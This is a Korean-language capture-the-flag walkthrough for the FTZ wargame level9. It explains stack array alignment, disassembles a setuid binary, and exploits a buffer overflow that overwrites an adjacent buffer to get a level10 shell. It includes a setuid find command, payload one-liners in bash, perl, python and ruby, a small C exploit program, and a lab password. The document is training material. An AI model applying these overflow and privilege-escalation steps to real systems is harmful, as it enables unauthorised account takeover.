반응형

login as : level 9

password : apple


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}

 


배열의 메모리 구조

 

#include <stdio.h>

int main(void)
{
	
    char a;
    char b[1];
    char c[2];
    char d[3];
    char e[5];
    char f[9];
    char g[17];
    
   	return 0;
}

 

위와 같이 char형 변수와 배열 a부터 g까지 있고, 변수의 크기들이 모두 다 다를 때 메모리 배치가 아래와 같을 것이라고 예상된다면, 이는 컴퓨터의 기초 이론은 알지만 정확한 동작 원리는 모르는 것이다.

 

변수명 메모리 공간
a 1
b 1
c 2
d 3
e 5
f 9
g 17

 

위와 같이 예상하는 이유는 흔히 sizeof() 연산자로 확인 가능한 변수의 크기이기 때문일 것인데, 변수의 크기와 실제로 변수가 메모리에 배치될 때의 크기는 다르다.

 

컴퓨터마다 변수를 할당할 때의 크기가 다르기 때문에 항상 무언가를 분석할 때는 분석을 진행할 컴퓨터의 환경을 파악하는 것이 먼저이다.

 

표준적으로 봤을 때는 아래와 같이 할당될 것이다.

 

변수명 변수 크기 메모리 할당 크기
a 1 1
b 1 1
c 2 2
d 3 4
e 4 8
f 9 12
g 17 20

 

즉, 2의 배수이면서 해당 변수의 크기보다 이상인 값이 실제 메모리 할당 크기이다.

 

하지만 모든 컴퓨터가 같은 크기로 할당하진 않고, 운영체제와 컴파일러마다 최고의 성능을 낼 수 있도록 기본 원칙에서 크게 벗어나지 않는 범위 안에서 약간의 변경을 가한다.

 

예를 들어 GCC 2.96 버전 이후에서는 스택에 공간을 확보할 때 8byte 이하의 버퍼는 1 word(4byte) 단위로 할당되지만, 9byte 이상의 버퍼는 4word(16byte)의 배수만큼 공간을 확보하고, 8byte의 dummy 값이 추가로 들어간다.

할당 공간 1 2 4 8 12 16 20
변수 크기 1 2 3~4 5~8 9~12 13~16 17~20

 

위와 같이 변수의 크기에 따라 2의 배수에 해당하는 메모리 공간이 할당된다.

 

하지만 모든 컴퓨터가 변수를 할당할 때 정확하게 동일한 크기를 할당하진 않기 때문에 분석해야 할 컴퓨터의 환경을 파악하는 것이 항상 먼저이다.

 

cd tmp

vi size.c
#include <stdio.h>

int main( )
{
	char AA;
	char strAA[1];
	char strBB[2];
	char strCC[3];
	char strDD[5];
	char strEE[9];
	char strFF[17];
    
	printf("AA's address is : 0x%x, sizeof:0x%x\n", &AA, sizeof(AA));
	printf("strAA[1]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strAA, sizeof(strAA), &AA - strAA);
	printf("strBB[2]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strBB, sizeof(strBB), strAA - strBB);
	printf("strCC[3]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strCC, sizeof(strCC), strBB - strCC);
	printf("strDD[4]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strDD, sizeof(strDD), strCC - strDD);
	printf("strEE[9]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strEE, sizeof(strEE), strDD - strEE);
	printf("strFF[17]'s address is : 0x%x, sizeof:0x%x, distance : 0x%x\n", strFF,sizeof(strFF), strEE - strFF);
	
	return 0;
}
gcc -o size size.c

메모리 주소 변수명 변수 크기 메모리 할당 크기
0xbffff6cf AA 0x1 0x1
0xbffff6ce strAA[1] 0x1 0x1
0xbffff6cc strBB[2] 0x2 0x2
0xbffff6b0 strCC[3] 0x3 0x1c
0xbffff6a0 strDD[5] 0x5 0x10
0xbffff690 strEE[9] 0x9 0x10
0xbffff670 strFF[17] 0x11 0x20

 

FTZ 시스템의 메모리 할당 크기를 확인해보기 위해 FTZ에서 위와 같이 size.c 파일에 코드를 작성하고 컴파일하여 실행해보면 위와 같이 나온다.

 

FTZ 시스템에서 변수에 할당하는 메모리 공간은 표준 운영체제에서 할당하는 것과 차이가 있다.

 

위의 FTZ 시스템에서 할당한 메모리를 보면 strCC 배열에 4byte가 아닌 28byte가 할당됐지만, 이 크기는 2의 배수라는 원칙을 벗어나지 않았다.

 

이처럼 컴퓨터는 기본 원칙이 있고, 운영체제와 컴파일러마다 최고의 성능을 낼 수있도록 기본 원칙을 어기지 않는 범위 안에서 약간의 변형을 가한다.


find / -user level10 -perm +6000 -exec ls -l {} \; 2>/dev/null


이와 같이 find 명령을 내리면 /usr/bin/bof 파일이 나온다.

 


분석

 

cat hint > /tmp/bof.c
cd /tmp
vi bof.c

gcc -g -o bof bof.c

 

위의 명령어들을 이용해 /tmp/bof.c 파일을 생성하고 수정한 뒤, 컴파일한다.

 

0x08048420 <main+0>:    push   %ebp
0x08048421 <main+1>:    mov    %esp,%ebp
0x08048423 <main+3>:    sub    $0x28,%esp
0x08048426 <main+6>:    and    $0xfffffff0,%esp
0x08048429 <main+9>:    mov    $0x0,%eax
0x0804842e <main+14>:   sub    %eax,%esp
0x08048430 <main+16>:   sub    $0xc,%esp
0x08048433 <main+19>:   push   $0x8048554
0x08048438 <main+24>:   call   0x8048350 <printf>
0x0804843d <main+29>:   add    $0x10,%esp
0x08048440 <main+32>:   sub    $0x4,%esp
0x08048443 <main+35>:   pushl  0x8049698
0x08048449 <main+41>:   push   $0x28
0x0804844b <main+43>:   lea    0xffffffd8(%ebp),%eax
0x0804844e <main+46>:   push   %eax
0x0804844f <main+47>:   call   0x8048320 <fgets>
0x08048454 <main+52>:   add    $0x10,%esp
0x08048457 <main+55>:   lea    0xffffffe8(%ebp),%eax
0x0804845a <main+58>:   sub    $0x4,%esp
0x0804845d <main+61>:   push   $0x2
0x0804845f <main+63>:   push   $0x804856a
0x08048464 <main+68>:   push   %eax
0x08048465 <main+69>:   call   0x8048330 <strncmp>
0x0804846a <main+74>:   add    $0x10,%esp
0x0804846d <main+77>:   test   %eax,%eax
0x0804846f <main+79>:   jne    0x80484a6 <main+134>
0x08048471 <main+81>:   sub    $0xc,%esp
0x08048474 <main+84>:   push   $0x804856d
0x08048479 <main+89>:   call   0x8048350 <printf>
0x0804847e <main+94>:   add    $0x10,%esp
0x08048481 <main+97>:   sub    $0x8,%esp
0x08048484 <main+100>:  push   $0xbc2
0x08048489 <main+105>:  push   $0xbc2
0x0804848e <main+110>:  call   0x8048360 <setreuid>
0x08048493 <main+115>:  add    $0x10,%esp
0x08048496 <main+118>:  sub    $0xc,%esp
0x08048499 <main+121>:  push   $0x804857a
0x0804849e <main+126>:  call   0x8048310 <system>
0x080484a3 <main+131>:  add    $0x10,%esp
0x080484a6 <main+134>:  leave
0x080484a7 <main+135>:  ret
End of assembler dump.

 

main 함수의 대략적인 동작 흐름은 아래와 같다.

1. 스택 구성 후 printf() 함수 호출

2. fgets() 함수 호출 후 strncmp() 함수를 호출하여 비교

3. printf() 함수 호출

4. setreuid() 함수 호출

5. system() 함수 호출

 

main() 함수를 자세히 봐본다.

 

0x08048420 <main+0>:    push   %ebp
0x08048421 <main+1>:    mov    %esp,%ebp
0x08048423 <main+3>:    sub    $0x28,%esp
0x08048426 <main+6>:    and    $0xfffffff0,%esp
0x08048429 <main+9>:    mov    $0x0,%eax
0x0804842e <main+14>:   sub    %eax,%esp
0x08048430 <main+16>:   sub    $0xc,%esp
0x08048433 <main+19>:   push   $0x8048554
0x08048438 <main+24>:   call   0x8048350 <printf>
0x0804843d <main+29>:   add    $0x10,%esp
0x08048440 <main+32>:   sub    $0x4,%esp

 

함수 프롤로그 작업을 거친 뒤 스택을 구성하고 "It can be overflow : " 문자열을 스택에 넣은 뒤 printf() 함수를 호출함으로써 화면에 출력한다.

 

0x08048443 <main+35>:   pushl  0x8049698
0x08048449 <main+41>:   push   $0x28
0x0804844b <main+43>:   lea    0xffffffd8(%ebp),%eax
0x0804844e <main+46>:   push   %eax
0x0804844f <main+47>:   call   0x8048320 <fgets>
0x08048454 <main+52>:   add    $0x10,%esp
0x08048457 <main+55>:   lea    0xffffffe8(%ebp),%eax
0x0804845a <main+58>:   sub    $0x4,%esp

 

stdin, 0x28, ebp-d8 주소를 스택에 넣고 fgets() 함수를 호출한다.

 

즉, 사용자한테 40글자를 입력받아 ebp-d8 주소에 넣는다는 것이다.

 

fgets() 함수 호출 후 ebp-e8 주소를 eax에 넣는다.

 

0x0804845d <main+61>:   push   $0x2
0x0804845f <main+63>:   push   $0x804856a
0x08048464 <main+68>:   push   %eax
0x08048465 <main+69>:   call   0x8048330 <strncmp>
0x0804846a <main+74>:   add    $0x10,%esp
0x0804846d <main+77>:   test   %eax,%eax
0x0804846f <main+79>:   jne    0x80484a6 <main+134>
0x08048471 <main+81>:   sub    $0xc,%esp
0x08048474 <main+84>:   push   $0x804856d
0x08048479 <main+89>:   call   0x8048350 <printf>
0x0804847e <main+94>:   add    $0x10,%esp
0x08048481 <main+97>:   sub    $0x8,%esp
0x08048484 <main+100>:  push   $0xbc2
0x08048489 <main+105>:  push   $0xbc2
0x0804848e <main+110>:  call   0x8048360 <setreuid>
0x08048493 <main+115>:  add    $0x10,%esp
0x08048496 <main+118>:  sub    $0xc,%esp
0x08048499 <main+121>:  push   $0x804857a
0x0804849e <main+126>:  call   0x8048310 <system>
0x080484a3 <main+131>:  add    $0x10,%esp
0x080484a6 <main+134>:  leave
0x080484a7 <main+135>:  ret

 

ebp-e8 주소의 맨 앞의 2글자와 "go" 문자열이 같은지 비교한다.

 

"go"가 아니라면 0x80484a6 주소로 점프하여 종료한다.

 

"go"가 맞다면 "Good Skill!" 문자열을 출력하고 level10 권한으로 설정 후 그 상태에서 /bin/bash 명령을 실행한다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}

 

위의 분석 내용을 통합하면 hint에 있던 위의 코드가 완성될 것이다.

 

코드에서 보면 fgets() 함수에서 buf에 사용자 입력값을 넣고

 

strncmp() 함수에서 buf2와 "go" 문자열을 비교한다.

 

즉, 사용자 입력값은 buf에 넣었는데, buf2에 있는 값을 "go"와 비교한다.

 

그렇다면 buf2에 "go" 라는 값을 넣어야 하는데, fgets() 함수는 buf에 값을 넣는다.

 

여기서 buffer overflow를 이용해 buf에 값을 꽉 채워 buf2에 값이 쓰여지도록 하면되는데, buf[10]이니 10글자만 넘기면 된다고 한다면 이것은 위에서 배운 메모리 할당에 대한 이해가 덜 된 것이다.

 

buf[10] 이여도 실제 메모리에서 할당된 byte만큼 값을 써줘야 buf2에 값을 덮어쓸 수 있다.

 


풀이

 

buf와 buf2의 간격 즉, buf의 메모리 할당 크기는 아래와 같이 알 수 있다.

 

0x0804844b <main+43>:   lea    0xffffffd8(%ebp),%eax
0x0804844e <main+46>:   push   %eax
0x0804844f <main+47>:   call   0x8048320 <fgets>
0x08048457 <main+55>:   lea    0xffffffe8(%ebp),%eax
0x0804845a <main+58>:   sub    $0x4,%esp
0x0804845d <main+61>:   push   $0x2
0x0804845f <main+63>:   push   $0x804856a
0x08048464 <main+68>:   push   %eax
0x08048465 <main+69>:   call   0x8048330 <strncmp>

 

fgets()에서 ebp-d8 주소에 사용자 입력값을 넣는다.

 

이는 buf 배열이다.

 

그리고 strncmp() 에서 ebp-e8 주소를 스택에 넣는데 이는 buf2 배열이다.

 

그렇다면 e8 - d8은 0x10으로 10진수 16이다.

 

즉, buf의 메모리 할당 크기는 16byte이고, fgets()로 40글자까지 입력받고 있으니 16글자 이상부터인 17번째 글자부터는 buf2 배열 공간에 들어가게 된다.

 

 

그렇다면 프로그램을 실행하고 위와 같이 'a'를 16개 써준 후 go를 입력해주면 "Good Skill!" 문자열이 뜨게 되고 level10의 셸을 얻을 수 있다.

 

interesting to hack!

 

이어서 my-pass 명령어를 입력하면 위와 같이 level10의 비밀번호를 얻을 수 있다.

 


스크립트를 이용한 풀이

 

level9의 문제에서는 총 18글자를 입력하면 됐기 때문에 사용자가 직접 입력할 수 있었지만, 만약 100개 200개 이상의 글자를 입력해야 한다면 직접 100개 200개를 입력하기에는 번잡스럽다.

 

그렇게 때문에 bash shell script, perl script, python script, ruby script 총 4가지의 스크립트를 이용해 입력값을 생성할 수 있다.

 

bash shellscript

for i in $(seq 1 16); do printf "a"; done; printf "go\n"

 

위와 같이 bash shellscript의 for 문과 printf를 사용하면 원하는 글자 수 만큼 글자를 출력할 수 있다.

 

이를 이용해 아래의 명령을 입력하면 level10의 셸을 얻을 수 있다.

 

참고로 $()는 숫자 1키 옆에 있는 ` ` 기호로 대체하여 감쌀 수 있다.

 

(for i in $(seq 1 16); do printf "a"; done; printf "go\n"; cat) | /usr/bin/bof

 

perl script

(perl -e 'print "a" x 16, "go"'; cat) | /usr/bin/bof

 

python script

(python -c 'print "a" * 16 + "go"'; cat) | /usr/bin/bof

 

ruby script

(ruby -e 'print "a" * 16 + "go"'; cat) | /usr/bin/bof

 

16진수로 원하는 값 입력하기

bash shell, perl, python, ruby 모두 사용법은 동일하다.

printf "aaaaaaaaaaaaaaaa\x67\x6f\n"
(for i in $(seq 1 16); do printf "a"; done; printf "\x67\x6f"; cat) | /usr/bin/bof

 


exploit_code

#include <stdio.h>

#define VICTIM "/usr/bin/bof"
#define DEFAULT_BUFFER_SIZE 100
char cmdBuf[DEFAULT_BUFFER_SIZE];

int main( )
{
	//sprintf(cmdBuf, "(printf \"AAAAAAAAAABBBBBBgo\"; cat ) | %s", VICTIM);
	//sprintf(cmdBuf, "(printf \"AAAAAAAAAABBBBBB\\x67\\x6f\"; cat ) | %s", VICTIM);
	sprintf(cmdBuf, "(for i in 'seq 1 16'; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM);
	system(cmdBuf);
	return 0;
}
gcc -o exploit exploit.c
./exploit
반응형

+ Recent posts